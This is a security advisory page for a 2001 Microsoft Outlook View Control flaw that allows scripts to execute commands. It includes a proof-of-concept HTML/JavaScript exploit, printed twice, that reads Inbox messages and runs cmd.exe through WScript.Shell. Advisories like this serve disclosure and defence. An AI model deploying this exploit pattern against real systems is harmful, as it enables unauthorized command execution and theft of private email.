Microsoft Outlook Arbitrary Code Execution Vulnerability
BID:3026
Info
Microsoft Outlook Arbitrary Code Execution Vulnerability
| Bugtraq ID: | 3026 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 12 2001 12:00AM |
| Updated: | Jul 12 2001 12:00AM |
| Credit: | Reported to bugtraq by Georgi Guninski <[email protected]> on July 12, 2001. |
| Vulnerable: |
Microsoft Outlook 98 0 Microsoft Outlook 2002 0 Microsoft Outlook 2000 0 |
| Not Vulnerable: | |
Discussion
Microsoft Outlook Arbitrary Code Execution Vulnerability
Microsoft Outlook introduces a vulnerability that may allow attackers to execute arbitrary commands on a target system.
The vulnerability is due to a new ActiveX control called 'Microsoft Outlook View Control'. The flaw is that this control is marked 'safe for scripting' when it should not be. It is therefore accessible by scripts.
Scripts can execute commands without user knowledge or consent.
Microsoft Outlook introduces a vulnerability that may allow attackers to execute arbitrary commands on a target system.
The vulnerability is due to a new ActiveX control called 'Microsoft Outlook View Control'. The flaw is that this control is marked 'safe for scripting' when it should not be. It is therefore accessible by scripts.
Scripts can execute commands without user knowledge or consent.
Exploit / POC
Microsoft Outlook Arbitrary Code Execution Vulnerability
-----------------------------------------------------
This assumes you have at least one message in Outlook XP's Inbox
<br>
<object id="o1"
classid="clsid:0006F063-0000-0000-C000-000000000046"
>
<param name="folder" value="Inbox">
</object>
<script>
function f()
{
//alert(o2.object);
sel=o1.object.selection;
vv1=sel.Item(1);
alert("Subject="+vv1.Subject);
alert("Body="+vv1.Body+"["+vv1.HTMLBody+"]");
alert("May be deleted");
//vv1.Delete();
vv2=vv1.Session.Application.CreateObject("WScript.Shell");
alert("Much more fun is possible");
vv2.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /c DIR /A /P /S C:\\ ");
}
setTimeout("f()",2000);
</script>
-----------------------------------------------------
-----------------------------------------------------
This assumes you have at least one message in Outlook XP's Inbox
<br>
<object id="o1"
classid="clsid:0006F063-0000-0000-C000-000000000046"
>
<param name="folder" value="Inbox">
</object>
<script>
function f()
{
//alert(o2.object);
sel=o1.object.selection;
vv1=sel.Item(1);
alert("Subject="+vv1.Subject);
alert("Body="+vv1.Body+"["+vv1.HTMLBody+"]");
alert("May be deleted");
//vv1.Delete();
vv2=vv1.Session.Application.CreateObject("WScript.Shell");
alert("Much more fun is possible");
vv2.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /c DIR /A /P /S C:\\ ");
}
setTimeout("f()",2000);
</script>
-----------------------------------------------------
References
Microsoft Outlook Arbitrary Code Execution Vulnerability
References:
References:
- Microsoft Security Bulletin MS01-038 (Microsoft)
- Vulnerability in IE/Outlook ActiveX control (Russ